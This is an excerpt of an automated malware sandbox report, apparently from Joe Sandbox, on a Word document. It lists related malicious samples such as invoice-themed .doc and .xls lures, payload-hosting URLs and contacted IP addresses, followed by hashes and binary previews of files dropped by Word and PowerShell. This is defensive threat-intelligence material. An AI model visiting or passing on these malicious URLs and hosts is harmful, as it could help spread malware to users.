https://view.joesandbox.com/analysis/249567/html/none?idtype=webid
https://view.joesandbox.com/analysis/246591/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246591/html/none?idtype=webid
https://view.joesandbox.com/analysis/240692/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240692/html/none?idtype=webid
https://view.joesandbox.com/analysis/233570/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/233570/html/none?idtype=webid
https://view.joesandbox.com/analysis/233563/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/233563/html/none?idtype=webid
https://view.joesandbox.com/analysis/230865/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/230865/html/none?idtype=webid
https://view.joesandbox.com/analysis/230574/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/230574/html/none?idtype=webid
https://view.joesandbox.com/analysis/225298/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/225298/html/none?idtype=webid
https://view.joesandbox.com/analysis/224816/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/224816/html/none?idtype=webid
https://view.joesandbox.com/analysis/223290/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/223290/html/none?idtype=webid
https://view.joesandbox.com/analysis/220246/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/220246/html/none?idtype=webid
https://view.joesandbox.com/analysis/216626/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/216626/html/none?idtype=webid


haydenj235340.HTM Get hash malicious Browse 89.40.4.210

TTNETTR yVn2ywuhEC.exe Get hash malicious Browse 78.182.153.125

oHqMFmPndx.exe Get hash malicious Browse 78.181.200.182

svchost.exe Get hash malicious Browse 78.162.183.87

34ArXmP6.exe Get hash malicious Browse 95.12.26.17

1Jx5JnUZW9.exe Get hash malicious Browse 95.7.8.37

nFZB1yk7r2.exe Get hash malicious Browse 95.7.8.37

utox.exe Get hash malicious Browse 78.188.107.43

sample2.dll Get hash malicious Browse 78.161.228.73

sample1.dll Get hash malicious Browse 85.105.29.218

CA1eebsu.exe Get hash malicious Browse 81.215.78.147

form.doc Get hash malicious Browse 78.188.225.105

December Invoice.doc Get hash malicious Browse 78.188.225.105

https://caminhodosveadeiros.com.br/h/Ld51n5yo2sVpA9ix2ZH
ZLqX7/

Get hash malicious Browse 78.188.225.105

https://praticideas.net/wp-
content/5nxk9R7pIxOAP8bYYojGh4Rl69ZT6uMTycnblB4OUE
IzYvRuc22u0pyZbSvqTNlp7/

Get hash malicious Browse 78.188.225.105

MH1809380042BB.doc Get hash malicious Browse 78.188.225.105

BL9908763287SF_10.doc Get hash malicious Browse 78.188.225.105

Form.doc Get hash malicious Browse 78.188.225.105

creationskateboards.com/satori_wheels_spencer_hamilton/W
RLUbPer/

Get hash malicious Browse 78.188.225.105

avanttipisos.com.br/catalogo-
virtual/i1XnbBRzXXXrqGLfBZ3UNn6Yjh1mubdZKDm48wvQD
3thzthxMysX

Get hash malicious Browse 78.188.225.105

Nf3m8s.dll Get hash malicious Browse 78.188.225.105

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

05af1f5ca1b87cc9cc9b25185115607d SecuriteInfo.com.Exploit.Siggen3.9634.32726.xls Get hash malicious Browse 177.12.170.95
35.163.191.195

SecuriteInfo.com.Exploit.Siggen3.9634.31858.xls Get hash malicious Browse 177.12.170.95
35.163.191.195

attach-543652551.xls Get hash malicious Browse 177.12.170.95
35.163.191.195

RFQ.xls Get hash malicious Browse 177.12.170.95
35.163.191.195

1491958143547375.doc Get hash malicious Browse 177.12.170.95
35.163.191.195

aaHyijkXFm.docx Get hash malicious Browse 177.12.170.95
35.163.191.195

ABN RM753.docx Get hash malicious Browse 177.12.170.95
35.163.191.195

SKM_36721012514070-2.ppt Get hash malicious Browse 177.12.170.95
35.163.191.195

SecuriteInfo.com.Exploit.Siggen3.7850.19332.xls Get hash malicious Browse 177.12.170.95
35.163.191.195

SecuriteInfo.com.Exploit.Siggen3.9545.2989.doc Get hash malicious Browse 177.12.170.95
35.163.191.195

SecuriteInfo.com.Exploit.Siggen3.9545.2989.doc Get hash malicious Browse 177.12.170.95
35.163.191.195

PROVA DE PAGAMENTO.xls Get hash malicious Browse 177.12.170.95
35.163.191.195

SOA - NCL INTER LOGISTICS.ppt Get hash malicious Browse 177.12.170.95
35.163.191.195

MT2001205-REX 5.25.xlsx Get hash malicious Browse 177.12.170.95
35.163.191.195

SecuriteInfo.com.Heur.3552.xls Get hash malicious Browse 177.12.170.95
35.163.191.195

RO for  03X40HQ.xls Get hash malicious Browse 177.12.170.95
35.163.191.195

DHL-correction.xlsx Get hash malicious Browse 177.12.170.95
35.163.191.195

EU441789083.doc Get hash malicious Browse 177.12.170.95
35.163.191.195

ORD005271444_0.doc Get hash malicious Browse 177.12.170.95
35.163.191.195

JA3 Fingerprints
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https://view.joesandbox.com/analysis/207581/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/207581/html/none?idtype=webid
https://view.joesandbox.com/analysis/259609/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259609/html/none?idtype=webid
https://view.joesandbox.com/analysis/257236/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257236/html/none?idtype=webid
https://view.joesandbox.com/analysis/252478/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252478/html/none?idtype=webid
https://view.joesandbox.com/analysis/252134/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252134/html/none?idtype=webid
https://view.joesandbox.com/analysis/251196/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251196/html/none?idtype=webid
https://view.joesandbox.com/analysis/251179/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251179/html/none?idtype=webid
https://view.joesandbox.com/analysis/251157/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251157/html/none?idtype=webid
https://view.joesandbox.com/analysis/250750/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250750/html/none?idtype=webid
https://view.joesandbox.com/analysis/250749/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250749/html/none?idtype=webid
https://view.joesandbox.com/analysis/250663/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250663/html/none?idtype=webid
https://view.joesandbox.com/analysis/250616/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250616/html/none?idtype=webid
https://view.joesandbox.com/analysis/250449/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250449/html/none?idtype=webid
https://view.joesandbox.com/analysis/250351/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250351/html/none?idtype=webid
https://view.joesandbox.com/analysis/250296/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250296/html/none?idtype=webid
https://view.joesandbox.com/analysis/250235/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250235/html/none?idtype=webid
https://view.joesandbox.com/analysis/250170/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250170/html/none?idtype=webid
https://view.joesandbox.com/analysis/250122/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250122/html/none?idtype=webid
https://view.joesandbox.com/analysis/250119/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250119/html/none?idtype=webid
https://view.joesandbox.com/analysis/250080/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250080/html/none?idtype=webid
https://view.joesandbox.com/analysis/250076/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250076/html/none?idtype=webid
https://view.joesandbox.com/analysis/263682/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263682/html/none?idtype=webid
https://view.joesandbox.com/analysis/263677/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263677/html/none?idtype=webid
https://view.joesandbox.com/analysis/263619/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263619/html/none?idtype=webid
https://view.joesandbox.com/analysis/263556/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263556/html/none?idtype=webid
https://view.joesandbox.com/analysis/263481/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263481/html/none?idtype=webid
https://view.joesandbox.com/analysis/263174/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263174/html/none?idtype=webid
https://view.joesandbox.com/analysis/263084/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263084/html/none?idtype=webid
https://view.joesandbox.com/analysis/263072/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263072/html/none?idtype=webid
https://view.joesandbox.com/analysis/262972/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262972/html/none?idtype=webid
https://view.joesandbox.com/analysis/262919/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262919/html/none?idtype=webid
https://view.joesandbox.com/analysis/262913/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262913/html/none?idtype=webid
https://view.joesandbox.com/analysis/262798/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262798/html/none?idtype=webid
https://view.joesandbox.com/analysis/262695/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262695/html/none?idtype=webid
https://view.joesandbox.com/analysis/262650/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262650/html/none?idtype=webid
https://view.joesandbox.com/analysis/262547/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262547/html/none?idtype=webid
https://view.joesandbox.com/analysis/262250/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262250/html/none?idtype=webid
https://view.joesandbox.com/analysis/262248/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262248/html/none?idtype=webid
https://view.joesandbox.com/analysis/261802/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/261802/html/none?idtype=webid
https://view.joesandbox.com/analysis/261799/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/261799/html/none?idtype=webid


fb.xls Get hash malicious Browse 177.12.170.95
35.163.191.195

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll 68254_2001.doc Get hash malicious Browse

ARCHIVOFile-20-012021.doc Get hash malicious Browse

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: Microsoft Cabinet archive data, 59134 bytes, 1 file

Category: dropped

Size (bytes): 59134

Entropy (8bit): 7.995450161616763

Encrypted: true

SSDEEP: 1536:R695NkJMM0/7laXXHAQHQaYfwlmz8efIqigYDff:RN7MlanAQwEIztTk

MD5: E92176B0889CC1BB97114BEB2F3C1728

SHA1: AD1459D390EC23AB1C3DA73FF2FBEC7FA3A7F443

SHA-256: 58A4F38BA43F115BA3F465C311EAAF67F43D92E580F7F153DE3AB605FC9900F3

SHA-512: CD2267BA2F08D2F87538F5B4F8D3032638542AC3476863A35F0DF491EB3A84458CE36C06E8C1BD84219F5297B6F386748E817945A406082FA8E77244EC229D8F

Malicious: false

Preview:
MSCF............,...................I........T.........R.. .authroot.stl.ym&7.5..CK..8T....c_.d...:.(.....].M$[v.4.).E.$7*I.....e..Y..Rq...3.n..u..............|..=H....&..1.1..f.L..>e.6....F8.X.b.1$,.a...n-
......D..a....[.....i,+.+..<.b._#...G..U.....n..21*pa..>.32..Y..j...;Ay........n/R... ._.+..<...Am.t.<. ..V..y`.yO..e@../...<#..#......dju*..B......8..H'..lr.....l.I6/..d.].xIX<...&U...GD..Mn.y&.
[<(tk.....%B.b;./..`.#h....C.P...B..8d.F...D.k........... 0..w...@(.. @K....?.)ce........\.\......l......Q.Qd..+...@.X..##3..M.d..n6.....p1..)...x0V...ZK.{...{.=#h.v.).....b...*..[...L..*c..a..,...E5
X..i.d..w.....#o*+.........X.P...k...V.$...X.r.e....9E.x..=\...Km.......B...Ep...xl@@c1.....p?...d.{EYN.K.X>D3..Z..q.] .Mq.........L.n}........+/l\.cDB0.'.Y...r.[.........vM...o.=....zK..r..
l..>B....U..3....Z...ZjS...wZ.M...IW;..e.L...zC.wBtQ..&.Z.Fv+..G9.8..!..\T:K`......m.........9T.u..3h.....{...d[...@...Q.?..p.e.t[.%7..........^.....s.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 893

Entropy (8bit): 7.366016576663508

Encrypted: false

SSDEEP: 24:hBntmDvKUQQDvKUr7C5fpqp8gPvXHmXvponXux:3ntmD5QQD5XC5RqHHXmXvp++x

MD5: D4AE187B4574036C2D76B6DF8A8C1A30

SHA1: B06F409FA14BAB33CBAF4A37811B8740B624D9E5

SHA-256: A2CE3A0FA7D2A833D1801E01EC48E35B70D84F3467CC9F8FAB370386E13879C7

SHA-512: 1F44A360E8BB8ADA22BC5BFE001F1BABB4E72005A46BC2A94C33C4BD149FF256CCE6F35D65CA4F7FC2A5B9E15494155449830D2809C8CF218D0B9196EC646B0
C

Malicious: false

Preview:
0..y..*.H.........j0..f...1.0...*.H.........N0..J0..2.......D....'..09...@k0...*.H........0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30...000930211219Z..210930
140115Z0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30.."0...*.H.............0..........P..W..be......,k0.[...}.@......3vI*.?!I..N..>H.e...!.e.*.2....w..{........s.z..2..~
..0....*8.y.1.P..e.Qc...a.Ka..Rk...K.(.H......>.... .[.*....p....%.tr.{j.4.0...h.{T....Z...=d.....Ap..r.&.8U9C....\@........%.......:..n.>..\..<.i....*.)W..=....]......B0@0...U.......0....0...U.......
....0...U.........{,q...K.u...`...0...*.H...............,...\...(f7:...?K.... ]..YD.>.>..K.t.....t..~.....K. D....}..j.....N..:.pI...........:^H...X._..Z.....Y..n......f3.Y[...sG.+..7H..VK....r2...D.SrmC.&H.Rg.
X..gvqx...V..9$1....Z0G..P.......dc`........}...=2.e..|.Wv..(9..e...w.j..w.......)...55.1.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 328

Entropy (8bit): 3.0510995538033594

Encrypted: false

SSDEEP: 6:kKnLXbqoN+SkQlPlEGYRMY9z+4KlDA3RUeKlF+adAlf:Te3kPlE99SNxAhUeo+aKt

MD5: D921AC78F8780D1E1ABCE9F0B6CA8427

SHA1: 099BE15FF9B4F3A46FBA74D9A81D4373A9B76239

SHA-256: 9420612637A3BCEDCC475CAEF8B68CCD8B94457DA560322B75B05D23D0076759

SHA-512: 9C4CF8F546FDEF2FDB6CB431FC8969B65B5FD95723CA0D7B2AC15D9E2F675389A9FCCA81CED875BC9ABFD9BB0EE4951FB0C907C2EE82AA69C1ACDE9490DB
DB78

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/261722/html/none?idtype=webid#static
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Malicious: false

Preview:
p...... ........X..3....(....................................................... ..................&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s
.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.e.b.b.a.e.1.d.7.e.a.d.6.1.:.0."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 252

Entropy (8bit): 2.9820060595784836

Encrypted: false

SSDEEP: 3:kkFklEJhM1fllXlE/QhzllPlzRkwWBARLNDU+ZMlKlBkvclcMlVHblB1UAYpFit:kKv4fliBAIdQZV7eAYLit

MD5: ED48972FC217DECDF53A23C26CC768E5

SHA1: 0A5319CD83546A6ABE69CEC2CE22EE69140F2257

SHA-256: 1A25B5C3B5A19348A70416E9AD63CB52491903A19902BE40AAA588B7B845E61D

SHA-512: A13F24629F25F503EF447F2B7E479F12DBA6B6107614CBF0F66FBA03A3463901B6E6C2EA9AC756638C9C8008F1E95488D211E0B9C33C11ABEC02C31F745BDABF

Malicious: false

Preview:
p...... ....`......3....(....................................................... ........u.........(...........}...h.t.t.p.:././.a.p.p.s...i.d.e.n.t.r.u.s.t...c.o.m./.r.o.o.t.s./.d.s.t.r.o.o.t.c.a.x.3...p.7.c...".3.7.d.-.5.9.e.7.6
.b.3.c.6.4.b.c.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{4A898E07-B28F-4AE5-86AD-026C320EA73C}.tmp
Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 1024

Entropy (8bit): 0.05390218305374581

Encrypted: false

SSDEEP: 3:ol3lYdn:4Wn

MD5: 5D4D94EE7E06BBB0AF9584119797B23A

SHA1: DBB111419C704F116EFA8E72471DD83E86E49677

SHA-256: 4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1

SHA-512: 95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28B
A4

Malicious: false

Preview:
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{DB009C97-0379-4C94-9F0C-259784EC4018}.tmp
Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 1536

Entropy (8bit): 1.3555252507007243

Encrypted: false

SSDEEP: 3:Iiiiiiiiiif3l/Hlnl/bl//l/bllBl/PvvvvvvvvvvFl/l/lAqsalHl3lldHzlb/:IiiiiiiiiifdLloZQc8++lsJe1Mzg

MD5: 110F0264F9A92FA0ADF150487C0E01B6

SHA1: FE892115C0169EDF8DC57B67A06271B8794EA48E

SHA-256: C636A6A5F4D7953267F8FE2D39DE561F3840F3AB4763CB68283A1E6723E8E007

SHA-512: 2A8EBD655568E8B900D45E88DEAFF3B5C87886E1670888D19348AB6858EBF8D6926D08F179EC11E5B9C961DA3F12EC7B7CFD0EF7CF16B86FCFA4A0D8411E73C
D

Malicious: false

Preview:
..(...(...(...(...(...(...(...(...(...(...(...A.l.b.u.s...A.........................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
.................."...&...*.......:...>.............................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CabD079.tmp

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: Microsoft Cabinet archive data, 59134 bytes, 1 file

Category: dropped

Size (bytes): 59134

Entropy (8bit): 7.995450161616763
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Encrypted: true

SSDEEP: 1536:R695NkJMM0/7laXXHAQHQaYfwlmz8efIqigYDff:RN7MlanAQwEIztTk

MD5: E92176B0889CC1BB97114BEB2F3C1728

SHA1: AD1459D390EC23AB1C3DA73FF2FBEC7FA3A7F443

SHA-256: 58A4F38BA43F115BA3F465C311EAAF67F43D92E580F7F153DE3AB605FC9900F3

SHA-512: CD2267BA2F08D2F87538F5B4F8D3032638542AC3476863A35F0DF491EB3A84458CE36C06E8C1BD84219F5297B6F386748E817945A406082FA8E77244EC229D8F

Malicious: false

Preview:
MSCF............,...................I........T.........R.. .authroot.stl.ym&7.5..CK..8T....c_.d...:.(.....].M$[v.4.).E.$7*I.....e..Y..Rq...3.n..u..............|..=H....&..1.1..f.L..>e.6....F8.X.b.1$,.a...n-
......D..a....[.....i,+.+..<.b._#...G..U.....n..21*pa..>.32..Y..j...;Ay........n/R... ._.+..<...Am.t.<. ..V..y`.yO..e@../...<#..#......dju*..B......8..H'..lr.....l.I6/..d.].xIX<...&U...GD..Mn.y&.
[<(tk.....%B.b;./..`.#h....C.P...B..8d.F...D.k........... 0..w...@(.. @K....?.)ce........\.\......l......Q.Qd..+...@.X..##3..M.d..n6.....p1..)...x0V...ZK.{...{.=#h.v.).....b...*..[...L..*c..a..,...E5
X..i.d..w.....#o*+.........X.P...k...V.$...X.r.e....9E.x..=\...Km.......B...Ep...xl@@c1.....p?...d.{EYN.K.X>D3..Z..q.] .Mq.........L.n}........+/l\.cDB0.'.Y...r.[.........vM...o.=....zK..r..
l..>B....U..3....Z...ZjS...wZ.M...IW;..e.L...zC.wBtQ..&.Z.Fv+..G9.8..!..\T:K`......m.........9T.u..3h.....{...d[...@...Q.?..p.e.t[.%7..........^.....s.

C:\Users\user\AppData\Local\Temp\CabD079.tmp

C:\Users\user\AppData\Local\Temp\TarD07A.tmp
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 152788

Entropy (8bit): 6.316654432555028

Encrypted: false

SSDEEP: 1536:WIA6c7RbAh/E9nF2hspNuc8odv+1//FnzAYtYyjCQxSMnl3xlUwg:WAmfF3pNuc7v+ltjCQSMnnSx

MD5: 64FEDADE4387A8B92C120B21EC61E394

SHA1: 15A2673209A41CCA2BC3ADE90537FE676010A962

SHA-256: BB899286BE1709A14630DC5ED80B588FDD872DB361678D3105B0ACE0D1EA6745

SHA-512: 655458CB108034E46BCE5C4A68977DCBF77E20F4985DC46F127ECBDE09D6364FE308F3D70295BA305667A027AD12C952B7A32391EFE4BD5400AF2F4D0D830875

Malicious: false

Preview:
0..T...*.H.........T.0..T....1.0...`.H.e......0..D...+.....7.....D.0..D.0...+.....7..........R19%..210115004237Z0...+......0..D.0..*.....`...@.,..0..0.r1...0...+.....7..~1......D...0...+.....7..i1...0
...+.....7<..0 ..+.....7...1.......@N...%.=.,..0$..+.....7...1......`@V'..%..*..S.Y.00..+.....7..b1". .].L4.>..X...E.W..'..........-@w0Z..+.....7...1L.JM.i.c.r.o.s.o.f.t. .R.o.o.t. .C.e.r.t.i.f.i.c.a.
t.e. .A.u.t.h.o.r.i.t.y...0..,...........[./..uIv..%1...0...+.....7..h1.....6.M...0...+.....7..~1...........0...+.....7...1...0...+.......0 ..+.....7...1...O..V.........b0$..+.....7...1...>.)....s,.=$.~R.'..00.
.+.....7..b1". [x.....[....3x:_....7.2...Gy.cS.0D..+.....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.t.a.m.p.i.n.g. .C.A...0......4...R....2.7.. ...1..0...+.....7..h1......o&...0...+.....7..i1...0...+.....7<..0 
..+.....7...1...lo...^....[...J@0$..+.....7...1...J\u".F....9.N...`...00..+.....7..b1". ...@.....G..d..m..$.....X...}0B..+.....7...14.2M.i.c.r.o.s.o.f.t. .R.o.o.t. .A.u.t.h.o

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Io8ic2291n.LNK
Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Feb 11 17:31:34 2021, mtime=Thu Feb 11 17:31:34 2021, 
atime=Thu Feb 11 17:31:36 2021, length=162816, window=hide

Category: dropped

Size (bytes): 2028

Entropy (8bit): 4.548898303609411

Encrypted: false

SSDEEP: 48:8Z/XT0jn4wmSCS6/A5Qh2Z/XT0jn4wmSCS6/A5Q/:8Z/XojnO45Qh2Z/XojnO45Q/

MD5: DFE3782CD550607E14E2E4523DF36EA9

SHA1: BDD3597AD866B3B3BC41F37F6D036D3908107585

SHA-256: 50BAAE6CFF6C115BDDACF2A586665FE253F5F42A0DCCADE577564AEA31BF1472

SHA-512: C76640DFCC669B9A56F849D627FC06973DC87C762B799FBEEC7F8C0CE04E804CF91BB9D34B81383EDB83159F73CFA534F3295B8AF278D3D5B865363BF46B6CE
E

Malicious: false

Preview:
L..................F.... ....................>H!.....|...........................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X*...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-
.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y*...&=....U...............A.l.b.u.s.....z.1.....KR...Desktop.d......QK.XKR.*..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1
.7.6.9.....f.2..|..KR. .IO8IC2~1.DOC..J......KR.KR.*...?.....................I.o.8.i.c.2.2.9.1.n...d.o.c.......x...............-...8...[............?J......C:\Users\..#...................\\445817\User
s.user\Desktop\Io8ic2291n.doc.%.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.I.o.8.i.c.2.2.9.1.n...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6
.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......445817..........D_....3N...W...9F.C...........[D_....3N...W...9F.C..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 68

Entropy (8bit): 4.249124798190988

Encrypted: false

SSDEEP: 3:M1Cc6YC0Kh6YCmX1Cc6YCv:MEcuocI

MD5: 9B71815A27C3279BF9CCC343B294E360

SHA1: 8BECA8ED7AF3199160E482FC637358B4F3D64814

SHA-256: DC05C51B8EC599E1B5757DF8DE2E41F39EB0D545F5E0028573FDB1D8695A875A

SHA-512: 6ED7FDCF0EF99E4F891B71951DD976B1663F1AA00BF989C129895D880B7F5B483D116B5E944D05966E9079F543ED492ED46A11FC1C5C04554C58F3879489E6AC

Malicious: false
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Preview:
[doc]..Io8ic2291n.LNK=0..Io8ic2291n.LNK=0..[doc]..Io8ic2291n.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 162

Entropy (8bit): 2.431160061181642

Encrypted: false

SSDEEP: 3:vrJlaCkWtVy3KGcils6w7Adtln:vdsCkWthGciWfQl

MD5: 4A5DFFE330E8BBBF59615CB0C71B87BE

SHA1: 7B896C17F93ECFC9B69E84FC1EADEDD9DA550C4B

SHA-256: D28616DC54FDEF1FF5C5BA05A77F178B7E3304493BAF3F4407409F2C84F4F215

SHA-512: 3AA160CB89F4D8393BCBF9FF4357FFE7AE00663F21F436D341FA4F5AD4AEDC737092985EB4A94A694A02780597C6375D1615908906A6CEC6D7AB616791B6285C

Malicious: false

Preview:
.user..................................................A.l.b.u.s.............p.......................................P.....................z...............x...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\G35337LWH2E05RNT3GY2.temp
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit): 3.5899122205346594

Encrypted: false

SSDEEP: 96:chQCsMqaqvsqvJCwofz8hQCsMqaqvsEHyqvJCworZzvlYXH8f8OElUVNIu:cyzofz8ynHnorZzvTf8OdIu

MD5: E69E57F3BC79EE1D544059BC25CBACFC

SHA1: 93D4802BDF491F71F64EEEA238D82C81190E380C

SHA-256: FD9B154394DF4E3412AF7608F121C3C8A39CF19F83B964DD0A02B7D3AD57827A

SHA-512: 77E336CBE09D9740DAD6CBBA690A52DB878381EB71C58D240D055682DD25CF3C11BA9E6599E028EF6E25A8BBFD46FBC38B134C18E53AF213FA5D7D4F070C47
22

Malicious: false

Preview:
...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\*...k.....................P.r.o.
g.r.a.m.D.a.t.a.....X.1.....~J|v. MICROS~1..@.......:..~J|v*...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;.*.........................W.i.n.d.o.w.s.......1......:((
..STARTM~1..j.......:...:((*...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf.*...................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.
l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr.*...................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''*.......
..................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,*....=....................W.i.n.d.o.w.s. 

C:\Users\user\Desktop\~$8ic2291n.doc
Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 162

Entropy (8bit): 2.431160061181642

Encrypted: false

SSDEEP: 3:vrJlaCkWtVy3KGcils6w7Adtln:vdsCkWthGciWfQl

MD5: 4A5DFFE330E8BBBF59615CB0C71B87BE

SHA1: 7B896C17F93ECFC9B69E84FC1EADEDD9DA550C4B

SHA-256: D28616DC54FDEF1FF5C5BA05A77F178B7E3304493BAF3F4407409F2C84F4F215

